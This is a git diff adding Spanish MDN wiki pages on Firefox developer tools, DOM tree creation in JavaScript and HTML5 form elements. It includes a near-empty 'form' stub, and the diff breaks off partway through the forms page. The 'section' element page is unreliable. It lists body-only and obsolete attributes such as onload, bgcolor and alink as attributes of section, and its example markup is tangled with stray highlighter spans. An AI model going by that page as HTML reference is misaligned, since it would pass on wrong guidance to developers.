+<p><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si estás trabajando en el propio Firefox, o en el desarrollo de complementos, puede que te resulte útil poder acceder a toda la información interna del navegador usando Borrador.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Para ello, es necesario establecer la preferencia <code>devtools.chrome.enabled</code> a <code>true</code> usando <code>about:config</code> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Una vez que hayas hecho esto, el menú Entorno tiene la opción Navegador y una vez que se selecciona, tu ámbito es todo el navegador y no sólo el contenido de la página.</span></span></p>
+<p>{{ languages( { "en" : "en/Tools/Scratchpad", "fr": "fr/Outils/Ardoise" } ) }}</p>
diff --git a/files/es/herramientas/index.html b/files/es/herramientas/index.html
new file mode 100644
index 0000000000..4cde340000
--- /dev/null
+++ b/files/es/herramientas/index.html
@@ -0,0 +1,13 @@
+---
+title: Herramientas
+slug: Herramientas
+tags:
+  - Herramientas
+  - para_revisar
+---
+<p> </p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Web_Development"><span><span style="">Desarrollo web</span></span></h4> <h5 id="Extensions"><span><span style="">Extensiones</span></span></h5> <dl> <dt><span><a href="/en/Venkman" title="en/Venkman"><span style="">Venkman</span></a></span></dt> <dd><span><span style="">El depurador JavaScript proporciona un potente entorno de depuración de JavaScript para navegadores basados ​​en Mozilla.</span></span></dd> </dl> <dl> <dt><a href="/en/DOM_Inspector" title="en/DOM_Inspector"><span><span style="">Inspector DOM</span></span></a></dt> <dd><span><span style="">Una herramienta de desarrollo utilizada para inspeccionar, examinar y modificar el DOM de documentos - normalmente páginas web o ventanas XUL.</span></span></dd> </dl> <dl> <dt><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843"><span><span style="">Firebug</span></span></a></dt> <dd><span><span style="">Integra una gran cantidad de herramientas de desarrollo para editar, depurar y monitorear CSS, HTML y JavaScript en vivo en cualquier página web ( <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fwww.getfirebug.com%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNEyc4EzUXofVv9S_vhAmGQUczkTSw">detalles</a> )</span></span></dd> </dl> <dl> <dt><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/60" title="https://addons.mozilla.org/en-US/firefox/addon/60"><span><span style="">Web Developer</span></span></a></dt> <dd><span><span style="">Agrega un menú y una barra de herramientas al navegador con varias herramientas de desarrollo web. ( <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fchrispederick.com%2Fwork%2Fweb-developer%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHJ8M44D_i_pGIzwqlkNOrImQNU2w">detalles</a> )</span></span></dd> </dl> <dl> <dt><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/4111" title="https://addons.mozilla.org/en-US/firefox/addon/4111"><span><span style="">Aardvark</span></span></a></dt> <dd><span><span style="">Revela los elementos DOM mientras se mueve el ratón/mouse sobre una página. ( <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fwww.karmatics.com%2Faardvark%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHv0RxPV-ntEr1Fan_wylejOyhf6g">detalles</a> )</span></span></dd> </dl> <dl> <dt><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/browse/type:1/cat:4" title="https://addons.mozilla.org/en-US/firefox/browse/type:1/cat:4"><span><span style="">Más sobre Firefox Add-ons</span></span></a></dt> </dl> <h5 id="Validators"><span><span style="">Validadores</span></span></h5> <dl> <dt><a href="/en/Tools/Validators" title="en/Tools/Validators"><span><span style="">Lista de validadores</span></span></a></dt> </dl> <h5 id="Authoring_Software"><span><span style="">Software de creación</span></span></h5> <dl> <dt><a href="/en/Standards-Compliant_Authoring_Tools" title="en/Standards-Compliant_Authoring_Tools"><span><span style="">Herramientas de creación que cumplen con los estándares </span></span></a></dt> </dl> <dl> <dt><a class="external" href="http://tidy.sourceforge.net/" title="http://tidy.sourceforge.net/"><span><span style="">HTMLTidy</span></span></a></dt> <dd><span><span style="">Una herramienta para limpiar HTML</span></span></dd> </dl> </td> <td> <h4 id="JavaScript"><span><span style="">JavaScript</span></span></h4> <table class="topicpage-table"> <tbody> <tr> <td> <dl> <dt><a href="/en/Tools/Scratchpad" title="en/Tools/Scratchpad"><span><span style="">Borrador</span></span></a>{{ gecko_minversion_inline ("6.0") }}</dt> <dd><span><span style="">Un editor de texto integrado en Firefox que te permite editar y ejecutar código JavaScript.</span></span></dd> <dt><a href="/en/Error_Console" title="en/Error_Console"><span><span style="">Consola de errores</span></span></a></dt> </dl> <dl> <dt><a href="/en/Venkman" title="en/Venkman"><span><span style="">Venkman</span></span></a></dt> </dl> <dl> <dt><a class="external" href="http://www.jslint.com/" title="http://www.jslint.com/"><span><span style="">JSLint</span></span></a></dt> </dl> <dl> <dt><a class="external" href="http://jsdoc.sourceforge.net/" title="http://jsdoc.sourceforge.net/"><span><span style="">JSDoc</span></span></a></dt> <dd><span><span style="">herramienta para la generación de documentación (generalmente HTML) a partir de los comentarios de código (similar a JavaDoc).</span></span></dd> </dl> <h4 id="DOM"><span><span style="">DOM</span></span></h4> <dl> <dt><a href="/en/DOM_Inspector" title="en/DOM_Inspector"><span><span style="">Inspector DOM</span></span></a></dt> </dl> <dl> <dt><a class="external" href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html" title="http://slayeroffice.com/tools/modi/v2.0/modi_help.html"><span><span style="">MODI</span></span></a></dt> <dd><span><span style="">Mouseover DOM Inpector es un bookmarklet que te permite ver y manipular el DOM de una página web con sólo pasar el ratón/mouse por el documento.</span></span></dd> </dl> <h4 id="Localization"><span><span style="">Localización</span></span></h4> <dl> <dt><a class="external" href="http://www.mozilla.org/projects/l10n/mlp_tools.html" title="http://www.mozilla.org/projects/l10n/mlp_tools.html"><span><span style="">Herramientas de localización y aprovechamiento</span></span></a></dt> </dl> <h4 id="Tree_and_branch_management"><span><span style="">Gestión de árboles y ramas</span></span></h4> <dl> <dd><a href="../en/Using_cross_commit" title="en/Using_cross_commit"><code>cross-commit</code> script</a></dd> </dl> <h4 id="User_Profile_Tools"><span><span style="">Herramientas de perfil de usuario</span></span></h4> <div><strong><a href="/en/Profile_Manager" title="en/Profile_Manager"><span><span style="">Profile Manager</span></span></a></strong></div> <h4 id="Navegar_por_el_código_base_de_Mozilla"><span><span style="">Navegar por el código base de Mozilla</span></span></h4> <p><span><span style=""><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fmxr.mozilla.org%2F&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNGrg4dzGorguMnILmPWPgZEabuZdw">MXR</a><a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/"> </a>(si utilizas vim, mxr-vim acelera el proceso)</span></span></p> <p><a class="external" href="http://dxr.mozilla.org/clang/" title="http://dxr.mozilla.org/clang/"><span><span style="">DXR</span></span></a></p> <dl> <dt> </dt><dd> </dd></dl> </td> </tr> </tbody> </table> </td> </tr> </tbody>
+</table>
+<p><span><span><span style="">Categorías</span></span></span></p>
+<p><span><span><span style="">Interwiki Language Links</span></span></span></p>
+<p><span><span style="">{{ languages( { "en": "en/Tools", "fr": "fr/Outils", "ja": "ja/Tools", "pl": "pl/Narz\u0119dzia" } ) }}</span></span></p>
diff --git a/files/es/how_to_create_a_dom_tree/index.html b/files/es/how_to_create_a_dom_tree/index.html
new file mode 100644
index 0000000000..25546a1704
--- /dev/null
+++ b/files/es/how_to_create_a_dom_tree/index.html
@@ -0,0 +1,130 @@
+---
+title: Cómo crear un DOM tree
+slug: How_to_create_a_DOM_tree
+translation_of: Web/API/Document_object_model/How_to_create_a_DOM_tree
+---
+<p> </p>
+<p>Esta página describe cómo usar el API <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html">DOM Core</a> en JavaScript para crear o modificar objetos DOM. Es aplicable a todas las aplicaciones basadas en Gecko (como Mozilla Firefox) cuyo código tenga privilegios (como las extensiones) y a las que no (páginas web).</p>
+<h3 id="Dynamically_creating_a_DOM_tree" name="Dynamically_creating_a_DOM_tree">Creación dinámica de un DOM tree</h3>
+<p>Considere el siguiente documento XML:</p>
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;people&gt;
+  &lt;person first-name="eric" middle-initial="H" last-name="jung"&gt;
+    &lt;address street="321 south st" city="denver" state="co" country="usa"/&gt;
+    &lt;address street="123 main st" city="arlington" state="ma" country="usa"/&gt;
+  &lt;/person&gt;
+
+  &lt;person first-name="jed" last-name="brown"&gt;
+    &lt;address street="321 north st" city="atlanta" state="ga" country="usa"/&gt;
+    &lt;address street="123 west st" city="seattle" state="wa" country="usa"/&gt;
+    &lt;address street="321 south avenue" city="denver" state="co" country="usa"/&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+<p>El W3C DOM API soportado por Mozilla, puede ser usado para crear una representación en memoria del documento anterior, como se ve a continuación:</p>
+<pre class="brush: js">var doc = document.implementation.createDocument("", "", null);
+var peopleElem = doc.createElement("people");
+
+var personElem1 = doc.createElement("person");
+personElem1.setAttribute("first-name", "eric");
+personElem1.setAttribute("middle-initial", "h");
+personElem1.setAttribute("last-name", "jung");
+
+var addressElem1 = doc.createElement("address");
+addressElem1.setAttribute("street", "321 south st");
+addressElem1.setAttribute("city", "denver");
+addressElem1.setAttribute("state", "co");
+addressElem1.setAttribute("country", "usa");
+personElem1.appendChild(addressElem1);
+
+var addressElem2 = doc.createElement("address");
+addressElem2.setAttribute("street", "123 main st");
+addressElem2.setAttribute("city", "arlington");
+addressElem2.setAttribute("state", "ma");
+addressElem2.setAttribute("country", "usa");
+personElem1.appendChild(addressElem2);
+
+var personElem2 = doc.createElement("person");
+personElem2.setAttribute("first-name", "jed");
+personElem2.setAttribute("last-name", "brown");
+
+var addressElem3 = doc.createElement("address");
+addressElem3.setAttribute("street", "321 north st");
+addressElem3.setAttribute("city", "atlanta");
+addressElem3.setAttribute("state", "ga");
+addressElem3.setAttribute("country", "usa");
+personElem2.appendChild(addressElem3);
+
+var addressElem4 = doc.createElement("address");
+addressElem4.setAttribute("street", "123 west st");
+addressElem4.setAttribute("city", "seattle");
+addressElem4.setAttribute("state", "wa");
+addressElem4.setAttribute("country", "usa");
+personElem2.appendChild(addressElem4);
+
+var addressElem5 = doc.createElement("address");
+addressElem5.setAttribute("street", "321 south avenue");
+addressElem5.setAttribute("city", "denver");
+addressElem5.setAttribute("state", "co");
+addressElem5.setAttribute("country", "usa");
+personElem2.appendChild(addressElem5);
+
+peopleElem.appendChild(personElem1);
+peopleElem.appendChild(personElem2);
+doc.appendChild(peopleElem);
+</pre>
+<p>Vea también el <a href="/en/XUL_Tutorial/Document_Object_Model" title="en/XUL_Tutorial/Document_Object_Model"> Capítulo DOM del Tutorial de XUL</a>.</p>
+<p>Se puede automatizar la creación de un DOM tree usando el <a href="/en/JXON#JXON_reverse_algorithms" title="en/JXON#JXON_reverse_algorithms">JXON reverse algorithm (algoritmo inverso JXON)</a> en asociación con la siguiente representación JSON:</p>
+<pre class="brush: js">{
+  "people": {
+    "person": [{
+      "address": [{
+        "@street": "321 south st",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }, {
+        "@street": "123 main st",
+        "@city": "arlington",
+        "@state": "ma",
+        "@country": "usa"
+      }],
+      "@first-name": "eric",
+      "@middle-initial": "H",
+      "@last-name": "jung"
+    }, {
+      "address": [{
+        "@street": "321 north st",
+        "@city": "atlanta",
+        "@state": "ga",
+        "@country": "usa"
+      }, {
+        "@street": "123 west st",
+        "@city": "seattle",
+        "@state": "wa",
+        "@country": "usa"
+      }, {
+        "@street": "321 south avenue",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }],
+      "@first-name": "jed",
+      "@last-name": "brown"
+    }]
+  }
+}
+</pre>
+<h3 id="So_what.3F" name="So_what.3F">¿Ahora qué?</h3>
+<p>Los DOM trees pueden ser <a href="/en/Using_XPath" title="en/Using_XPath">invocados usando expresiones XPath</a>, convertidos a cadenas de texto, salvados a un archivo local o remoto usando <a href="/en/Parsing_and_serializing_XML" title="en/Parsing_and_serializing_XML">XMLSerializer</a> (sin tener que convertirlo primero a una cadena de texto), Enviados mediante <a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">POST a un servidor web</a> (via <code>XMLHttpRequest</code>), transformados usando <a href="/en/XSLT" title="en/XSLT">XSLT</a>, <a href="/en/XLink" title="en/XLink">XLink</a>, convertidos a un objeto JavaScript a tráves del  <a href="/en/JXON" title="en/JXON">algoritmo </a><a href="/en/JXON" title="en/JXON">JXON</a>, etc.</p>
+<p>Adicionalmente se puede hacer uso de los DOM trees para modelar los datos que no estén bien formados para RDF (o si sólo no prefieres usar RDF). Otra aplicación que puedes darle, se relaciona a XUL (que es XML), la UI (interfaz) de tu aplicación puede ser manipulada dinámicamente, descargada, subida, guardada, cargada, convertida, o transformada fácilmente.</p>
+<h2 id="Vea_también">Vea también</h2>
+<ul>
+ <li><a class="internal" href="/en/XML" title="en/XML">XML</a></li>
+ <li><a class="internal" href="/en/JXON" title="en/JXON">JXON</a></li>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a class="internal" href="/en/E4X" title="en/E4X">E4X (ECMAScript for XML)</a></li>
+ <li><a class="internal" href="/en/Parsing_and_serializing_XML" title="en/Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a class="internal" href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+</ul>
+<p>{{ languages( { "fr": "fr/Comment_cr\u00e9er_un_arbre_DOM", "ja": "ja/How_to_create_a_DOM_tree", "zh-cn": "zh-cn/How_to_create_a_DOM_tree" } ) }}</p>
diff --git a/files/es/html/elemento/datalist/index.html b/files/es/html/elemento/datalist/index.html
new file mode 100644
index 0000000000..2f94162678
--- /dev/null
+++ b/files/es/html/elemento/datalist/index.html
@@ -0,0 +1,7 @@
+---
+title: datalist
+slug: HTML/Elemento/datalist
+tags:
+  - HTML5
+---
+<p>Redirigir <a class="redirect" href="/es/docs/Web/HTML/Elemento/datalist">datalist</a></p>
diff --git a/files/es/html/elemento/form/index.html b/files/es/html/elemento/form/index.html
new file mode 100644
index 0000000000..dd039bead3
--- /dev/null
+++ b/files/es/html/elemento/form/index.html
@@ -0,0 +1,5 @@
+---
+title: form
+slug: HTML/Elemento/form
+---
+<p>a</p>
diff --git a/files/es/html/elemento/section/index.html b/files/es/html/elemento/section/index.html
new file mode 100644
index 0000000000..dc632fa052
--- /dev/null
+++ b/files/es/html/elemento/section/index.html
@@ -0,0 +1,177 @@
+---
+title: Section
+slug: HTML/Elemento/section
+---
+<div class="geckoVersionNote">
+<h2 id="DEFINICIÓN" style="margin-left: 40px;">DEFINICIÓN:</h2>
+</div>
+
+<h4 id="La_etiqueta_section_proviene_del_idioma_inglés_y_se_traduce_al_español_como_sección.">La etiqueta section proviene del idioma inglés y se traduce al español como sección.</h4>
+
+<p> </p>
+
+<div class="geckoVersionNote">
+<h2 id="ETIQUETAS" style="margin-left: 40px;">ETIQUETAS: </h2>
+</div>
+
+<h4 id="&lt;section>&lt;section>">&lt;section&gt;&lt;/section&gt;</h4>
+
+<h4 id="Genera_una_sección_de_contenido_en_el_cuál_podemos_ubicar_dentro_muchos_otros_tipos_de_sección_(nav_article_asideheaderfooter_etc).">Genera una sección de contenido, en el cuál podemos ubicar dentro muchos otros tipos de sección (nav, article, aside,header,footer, etc).</h4>
+
+<p> </p>
+
+<div class="geckoVersionNote">
+<h2 id="ATRIBUTOS" style="margin-left: 40px;">ATRIBUTOS:</h2>
+</div>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">
+    <h4 id="Atributo"><strong>Atributo</strong></h4>
+   </th>
+   <th colspan="2" scope="col" style="text-align: center;">
+    <h4 id="Valor"><strong>Valor</strong></h4>
+   </th>
+   <th scope="col" style="text-align: center;">
+    <h4 id="Descripción"><strong>Descripción</strong></h4>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4">
+    <h4 id="Genéricos"><strong>Genéricos</strong></h4>
+   </th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title </code></td>
+   <td>Texto</td>
+   <td>Implícito</td>
+   <td>Título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style </code></td>
+   <td>Declaraciones de estilo</td>
+   <td>Implícito</td>
+   <td>Información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id </code></td>
+   <td>Un 'nombre'</td>
+   <td>Implícito</td>
+   <td>Identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class </code></td>
+   <td>Lista de clases CSS</td>
+   <td>implícito</td>
+   <td>Identificador a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir </code></td>
+   <td>Uno de los siguientes: <code>"ltr"</code> o <code>"rtl"</code></td>
+   <td>Implícito</td>
+   <td>Dirección del texto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang </code></td>
+   <td>Código de idioma</td>
+   <td>Implícito</td>
+   <td>Información sobre el idioma.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">
+    <h4 id="Específicos"><strong>Específicos</strong></h4>
+   </th>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;"> onload, onunload.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">
+    <h4 id="De_transición"><strong>De transición</strong></h4>
+   </th>
+  </tr>
+  <tr>
+   <th>
+    <h4 id="atributo"><strong>atributo</strong></h4>
+   </th>
+   <th colspan="2" rowspan="1">
+    <h4 id="valor"><strong>valor</strong></h4>
+   </th>
+   <th>
+    <h4 id="descripción"><strong>descripción</strong></h4>
+   </th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">background </code></td>
+   <td>Una dirección</td>
+   <td>Implícito</td>
+   <td>Dirección de la imagen que se usará como fondo.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">bgcolor </code></td>
+   <td>Un color</td>
+   <td>Implícito</td>
+   <td>Color del fondo.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">text </code></td>
+   <td>Un color</td>
+   <td>Implícito</td>
+   <td>Color del texto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">link </code></td>
+   <td>Un color</td>
+   <td>Implícito</td>
+   <td>Indica el color inicial de los enlaces</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">alink </code></td>
+   <td>Un color</td>
+   <td>Implícito</td>
+   <td>Indica el color de los enlaces cuando están activos.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">vlink </code></td>
+   <td>Un color</td>
+   <td>Implícito</td>
+   <td>Indica el color de los enlaces que han sido visitados.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval  language-html"><code class="language-html">
+   &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+        "http://www.w3.org/TR/html4/strict.dtd"&gt;
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+           <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Documento html básico<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+        &lt;section&gt;
+          &lt;article&gt;
+   <span class="tag token"><span class="tag token"><span class="punctuation token">          &lt;</span>p</span><span class="punctuation token">&gt;</span></span>Ejemplo de texto1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+          &lt;/article&gt;
+  <code class="language-html">       &lt;article&gt;
+   <span class="tag token"><span class="tag token"><span class="punctuation token">          &lt;</span>p</span><span class="punctuation token">&gt;</span></span>Ejemplo de texto2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+          &lt;/article&gt;</span></span></code>
+        &lt;/section&gt;
+
+        &lt;section&gt;
+<code class="language-html"><span class="tag token"><span class="punctuation token">  <code class="language-html">       &lt;article&gt;
+   <span class="tag token"><span class="tag token"><span class="punctuation token">          &lt;</span>p</span><span class="punctuation token">&gt;</span></span>Ejemplo de texto3 en un segundo artículo <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+          &lt;/article&gt;</span></span></code></span></span></code>
+<code class="language-html"><span class="tag token"><span class="punctuation token">       &lt;/section&gt;</span></span></code></span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span>
+ </code></pre>
diff --git a/files/es/html/html5/forms_in_html5/index.html b/files/es/html/html5/forms_in_html5/index.html
new file mode 100644
index 0000000000..a0e77ec827
--- /dev/null
+++ b/files/es/html/html5/forms_in_html5/index.html
@@ -0,0 +1,118 @@
+---
+title: Formularios en HTML5
+slug: HTML/HTML5/Forms_in_HTML5
+tags:
+  - Forms
+  - HTML
+  - HTML5
+---
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>Los elementos y atributos para formularios en HTML5 proveen un mayor grado de marcado semántico que en HTML4 y eliminan gran parte del tedioso trabajo de programar y diseñar que se necesitaba en HTML4. Las funcionalidades de los formularios en HTML5 brindan una experiencia mejor para los usuarios al permitir que los formularios tengan un comportamiento más consistente entre diferentes sitios web y al darle una devolución inmediata acerca de la información ingresada. También proveen esta experiencia a los usuarios que han deshabilitado javascript en sus navegadores.</p>
+
+<p>Este documento describe los elementos nuevos o que han cambiado que están disponibles en Gecko/Firefox.</p>
+
+<h3 id="El_elemento_&lt;input>">El elemento <code>&lt;input&gt;</code></h3>
+
+<p>El elemento <code>{{ HTMLElement("input") }}</code> tiene nuevos valores para el atributo {{ htmlattrxref("type", "input") }}.</p>
+
+<ul>
+ <li><span style="font-family: courier new;">search</span>: El elemento representa una caja de búsqueda. Los saltos de línea son quitados del valor ingresado pero no se modifica ninguna otra sintaxis.</li>
+ <li><span style="font-family: courier new;">tel</span>: El elemento representa un control para editar un número de teléfono, porque los números teléfonicos varían ampliamente en el mundo. Puedes usar atributos como {{ htmlattrxref("pattern", "input") }} y {{ htmlattrxref("maxlength", "input") }} para restringir los valores ingresados en la caja.</li>
+ <li><span style="font-family: courier new;">url</span>: El elemento representa un control para editar una <a class="external" href="http://es.wikipedia.org/URL" title="http://es.wikipedia.org/URL">URL</a>. Se quitan los saltos de línea y espacios en blanco antes y después del valor ingresados.</li>
+ <li>
+  <p><span style="font-family: courier new;">email</span>: El elemento representa una dirección de correo electrónico. Los saltos de línea se quitan automáticamente del valor ingresado. Puede ingresarse una direccón de correo no válida, pero el campo de ingreso sólo funcionará si la dirección ingresada satisface la producción ABNF <span style="font-family: courier new;"><code><code title="">1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code></code></span> donde <code title="">atext</code> está definida en RFC 5322, sección 3.2.3 y <code title="">ldh-str</code> está definida en RFC 1034, sección 3.5.</p>
+
+  <div class="note">Nota: si el atributo {{ htmlattrxref("multiple", "input") }} está agregado, pueden ingresarse muchas direcciones de correo electrónico en ese campo {{ HTMLElement("input") }}, como una lista separada por espacios, pero no está implementado actualmente en Firefox.</div>
+ </li>
+</ul>
+
+<p>El elemento {{ HTMLElement("input") }} también tiene nuevos atributos:</p>
+
+<ul>
+ <li>{{ htmlattrxref("list", "input") }}: El ID de un elemento {{ HTMLElement("datalist") }} cuyo contenido, los elementos {{ HTMLElement("option") }}, van a ser usados como ayudas y serán mostrados como propuestas en el área de sugerencias del campo input.</li>
+ <li>{{ htmlattrxref("pattern", "input") }}: Una expresión regular contra la que es verificado el valor del control, que puede ser usada con valores de {{ htmlattrxref("type", "input") }} de <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code> y <code>email</code>.</li>
+ <li>{{ htmlattrxref("formmethod", "input") }}: Una cadena que indica qué método HTTP (GET, POST, PUT o DELETE) debe ser usado cuando se envía; sobrescribe el {{ htmlattrxref("method", "form") }} del elemento {{ HTMLElement("form") }}, si se define. El {{ htmlattrxref("formmethod", "input") }} sólo se aplica cuando el {{ htmlattrxref("type", "input") }} es <span style="font-family: courier new;">image</span> o <span style="font-family: courier new;">submit</span>, y, para los métodos PUT y DELETE, sólo funcionará con un destino que esté en el mismo dominio (política del mismo origen).</li>
+</ul>
+
+<h3 id="El_elemento_&lt;form>">El elemento <code>&lt;form&gt;</code></h3>
+
+<p>El elemento {{ HTMLElement("form") }} tiene un nuevo atributo:</p>
+
+<ul>
+ <li>{{ htmlattrxref("novalidate", "form") }}: Este atributo previene que el formulario sea validado antes del envío.</li>
+</ul>
+
+<h3 id="El_elemento_&lt;datalist>">El elemento <code>&lt;datalist&gt; </code></h3>
+
+<p>El elemento {{ HTMLElement("datalist") }} representa la lista de elementos {{ HTMLElement("option") }} como sugerencias cuando se llena un campo {{ HTMLElement("input") }}.</p>
+
+<p>Puedes usar el atributo {{ htmlattrxref("list", "input") }} en un elemento {{ HTMLElement("input") }} para enlazar a un campo de ingreso específico con un elemento {{ HTMLElement("datalist") }} determinado.</p>
+
+<pre>&lt;label&gt;Superhéroe favorito&lt;/label&gt;
+&lt;input list="superheroes" name="list" /&gt;
+&lt;datalist id="superheroes"&gt;
+    &lt;option label="Iron Man" value="Iron Man"&gt;
+    &lt;option label="The Hulk" value="The Hulk"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="El_elemento_&lt;output>">El elemento <code>&lt;output&gt;</code></h3>
+
+<p>El elemento <code>{{ HTMLElement("output") }}</code> representa el resultado de un cálculo.</p>
+
+<p>Puedes usar el atributo {{ htmlattrxref("for", "output") }} para especificar una relación entre el elemento output y otros elementos en el documento que afectan el cálculo (por ejemplo, ingreso de datos o parámetros). El valor del atributo {{ htmlattrxref("for", "output") }} es una lista separada por espacios de IDs de otros elementos.</p>
+
+<h3 id="El_atributo_placeholder">El atributo placeholder</h3>
+
+<p>El atributo {{ htmlattrxref("placeholder", "input") }} en elementos <code>{{ HTMLElement("input") }}</code> y <code>{{ HTMLElement("textarea") }}</code> provee una ayuda a los usuarios acerca de qué debe ser ingresado en el campo. El texto introducido en el placeholder no debe contener «enters» o saltos de línea.</p>
+
+<pre>&lt;input type="email" id="user-email" placeholder="e.g. john.doe@mozilla.com" required/&gt;
+</pre>
+
+<h3 id="El_atributo_autofocus">El atributo autofocus</h3>
+
+<p>El atributo <strong>autofocus</strong> te permite especificar que una parte del formulario debe tener foco para ingresar información cuando se carga la página, a menos que el usuario lo cambie, por ejemplo al escribir en otro lugar. Sólo un elemento del formulario en un documento puede tener el atributo <strong>autofocus</strong>, que es de tipo boolean. Este atributo puede ser aplicado a los elementos <code>{{ HTMLElement("input") }}</code>, <code>{{ HTMLElement("button") }}</code>, <code>{{ HTMLElement("select") }}</code> y <code>{{ HTMLElement("textarea") }}</code>. La excepción es que <strong>autofocus</strong> no puede ser aplicado a un elemento <code>&lt;input&gt;</code> si el atributo {{ htmlattrxref("type", "input") }} <code>hidden</code> está seleccionado (esto quiere decir, no se puede enfocar automáticamente un elemento escondido).</p>
+
+<pre>&lt;input type="text" id="user" autofocus /&gt;
+</pre>
+
+<h3 id="La_propiedad_label.control_del_DOM">La propiedad label.control del DOM</h3>
+
+<p>La interface <a href="/en/DOM/HTMLLabelElement" title="en/DOM/HTMLLabelElement">HTMLLabelElement</a> DOM brinda una propiedad extra, sumadas a las propiedades que corresponden a los atributos del elemento <code>{{ HTMLElement("label") }}</code> de HTML. La propiedad <strong>control</strong> devuelve el controlador etiquetado, es decir el controlador para quien está hecha la etiqueta, que está determinado por el atributo {{ htmlattrxref("for", "label") }} (si está definido) o por el primer elemento controlador descendiente.</p>
+
+<h3 id="Validación_restringida">Validación restringida</h3>
+
+<p>El HTML5 brinda sintaxis y elementos de API para posibilitar la validación de formularios del lado del cliente. Aunque esta funcionalidad no reemplaza la validación del lado del servidor, que todavía es necesaria por seguridad e integridad de la información, la validación del lado del cliente puede brindar una experiencia de usuario mejor al darle al usuario una respuesta inmediata acerca de la información ingresada.</p>
+
+<h4 id="Sintaxis_de_HTML_para_la_validación_restringida">Sintaxis de HTML para la validación restringida</h4>
+
+<p>Los siguientes elementos de sintaxis de HTML5 pueden ser usados para restringir datos en el formulario.</p>
+
+<ul>
